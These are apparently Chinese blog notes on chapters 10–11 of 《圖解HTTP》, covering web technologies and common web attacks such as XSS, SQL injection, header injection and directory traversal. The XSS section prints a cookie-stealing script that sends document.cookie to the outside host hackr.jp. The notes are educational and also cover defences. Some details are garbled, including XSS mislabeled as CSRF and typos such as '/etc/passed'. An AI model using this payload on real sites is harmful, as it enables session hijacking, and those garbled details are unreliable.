《圖解Http》 10,11章:構建Web的技術, Web的攻擊技術
10.2動態HTML
通過調用客戶端腳本語言js,實現對web頁面的動態改造。利用DOM文檔對象模型,指定想發生變化的元素。
10.22 更容易控制的DOM
使用DOM可以將HTML內的元素當作對象操作。
10.3 Web應用
10.31通過Web提供功能的Web應用。
10.32 與web服務器協作的CGI
Common Gateway Interface 通用網關接口:指服務器收到客戶端發過來的請求後,轉發給程序的一組機制。
10.4 數據發布的格式,語言
10.41 XML (extensible Markup Language)可擴展標記語言
對數據的記錄方式做了特別的處理,更適合記錄數據結構。
從XML文檔中讀取數據比HTML更簡單。
由於XML的結構基本上是用標簽分割的樹形結構,因此通過語法分析器的解析功能解析XML結構並取出數據元素,可更容易地對數據進行讀取。
10.43 JavaScript 衍生的輕量級JSON
JavaScript Object Notation。
以JS的對象表示法為基礎的輕量級數據標記語言。
11 攻擊技術
11.12 在客戶端即可篡改請求
在請求報文內加載攻擊代碼:
通過URL查詢字段或表單, HTTP header, Cookie等途徑把攻擊代碼傳入,如果存在安全漏洞,內部信息就會遭到竊取,或被攻擊者拿到管理權。
11.13 對Web應用的攻擊模式
- 主動攻擊: 針對服務器上的資源進行攻擊。SQL註入攻擊, OS命令註入攻擊。
- 被動攻擊:利用圈套周恩來執行攻擊代碼。 Xss跨站腳本攻擊。跨站請求偽造。
- 誘使用戶觸發設置好的陷阱,陷阱會啟動發送已經嵌入的攻擊代碼的HTTP請求。
- 中招後,瀏覽器或郵件客戶端會觸發這個陷阱。
- 中招的瀏覽器把帶攻擊代碼的請求發送給作為攻擊目標的web應用,並運行攻擊代碼。
- 執行完攻擊代碼後,存在安全漏洞的web應用會成為攻擊者的跳板,導致用戶的Cookie等信息被竊取,登陸狀態中的用戶權限遭到惡意濫用等。
11.2 因輸出值轉意不完全引發的安全漏洞
客戶端的驗證:
主要采取javascript進行簡單的驗證,輔助性驗證,用於提高用戶交互行為的體驗。因為js可以被用戶關閉,所以不能起到安全防護作用。
web服務器端的驗證:
- 輸入值驗證: 可能會輸入攻擊代碼,因此需要檢查是否符合業務邏輯(字符編碼,數值)
- 輸出值轉意:對輸出值進行轉意處理是重要的安全策略。
11.21 跨站腳本攻擊
攻擊者利用預先設置的陷阱觸發被動攻擊,具體可見之前的博客(全棧案例)
通過加上<script>執行javascript動作,或者塞入其他標簽。
例子:對Cookie的偷取:
<script src=‘http://hackr.jp/xss.js‘></script>
這行代碼的作用:把js文件內的代碼加載到使用的頁面中。src屬性指定了一個額外的script文件的URL.
js文件內容:
var content = encodeURI(document.cookie);
document.write("<img src=‘http://hackr.jp/? ‘");
document.write(content);
document.write(">");
上面第一行得到cookie信息,然後後3行組成一個<img src=‘xxx‘>,
黑客可以通過添加評論的方法把這段腳本傳到當前網頁上,因為並沒有真實的圖片,所以出現一個破碎的圖片圖標。
當用戶訪問這個帶漏洞的網頁時,會執行腳本,<img>標簽的src是一個帶當前Cookie信息的請求,會轉到攻擊者的網站。攻擊者網站的日誌會記錄下這個Cookie。
總結:
這是一個跨站偽造請求攻擊Cross-site request forgery,xss的變種。
CSRF是一種挾制用戶在當前已登錄的Web應用程序上執行非本意的操作的攻擊方法。
11.22 SQL Injection攻擊
Web應用通常會用到數據庫,比如對數據進行檢索操作。
精通sql語法的黑客利用這點,在檢索框內增加導致刪除或某些目的性的sql半截語句,點擊確認按鈕後,
會和內置的SQL語法組合起來形成破壞性的SQL語法。
註意: 一般會利用 -- 標記,這代表後面的代碼全部為註釋。
在Rails中,使用where子句,可以用特殊的寫法避免。
例子: BookTbI.where("author = ?", "xxx"), 這樣數據庫會知道, 上野宣‘ -- 中的‘分號只是普通的代碼,並不起到分號本身的作用。
11.23 OS命令註入攻擊
通過web應用,執行非法的操作系統命令達到攻擊目的。
在可以調用Shell函數的地方就有風險。
11.24 HTTP 首部註入攻擊 HTTP Header Injection
通過在響應的首部字段內插入換行,添加任意響應首部或主體的一種攻擊。(被動攻擊)
- 設置任何Cookie信息
- 重定向到任何URL
- 顯示任意的主體: HTTP 響應截斷攻擊 HTTP Response Splitting Attack
例子:首部註入攻擊
%0D%0A 這個是換行符號。
所以強制增加Set-Cookie首部。
設置了Cookie後,攻擊者可以偽裝用戶。
這是首部註入攻擊,插入任意的首部字段。
HTTP響應截斷攻擊
首部註入攻擊的一種,攻擊順序一樣,但是要將兩個 %0D%0A%%0D%0A 插入字符串後發送。
利用兩個連續的換行作出HTTP首部和主體分隔所需要的空行,這樣就能偽造主體,達到攻擊目的。
??, <! -- 這個是註釋。
11.25郵件首部註入攻擊
11.26 Directory Traversal 目錄遍歷攻擊
通過非法截斷其目錄路徑後,達成訪問的一種攻擊。
使用.../ 等相對路徑定位到/etc/passed/等絕對路徑上,導致服務器上的文件被訪問到。
然後黑客就隨便瀏覽,篡改,刪除服務器上的內容拉,啊哈哈哈。
應該關閉指定對任意文件名的訪問權限。
11.4 Session 的安全漏洞
11.41 Session hijack 會話劫持
- 通過非正規的生成方法推測會話??
- 通過竊聽或XSS攻擊盜取會話ID(下圖)
- 通過Session Fixation 強制獲取會話id
通過某種手段拿到用戶的session id, 並偽裝成用戶/
11.5其他安全漏洞
11.51密碼破解
對已加密密碼的破解:
因為密碼做了散列函數處理或加了salt。
11.52 點擊劫持
利用透明的按鈕或鏈接做陷阱,覆蓋在web頁面上,誘使用戶在不知情的情況下,點擊哪個鏈接。
也叫界面偽裝。
其他安全漏洞:
DoS攻擊,後門程序。
《圖解Http》 10,11章:構建Web的技術, Web的攻擊技術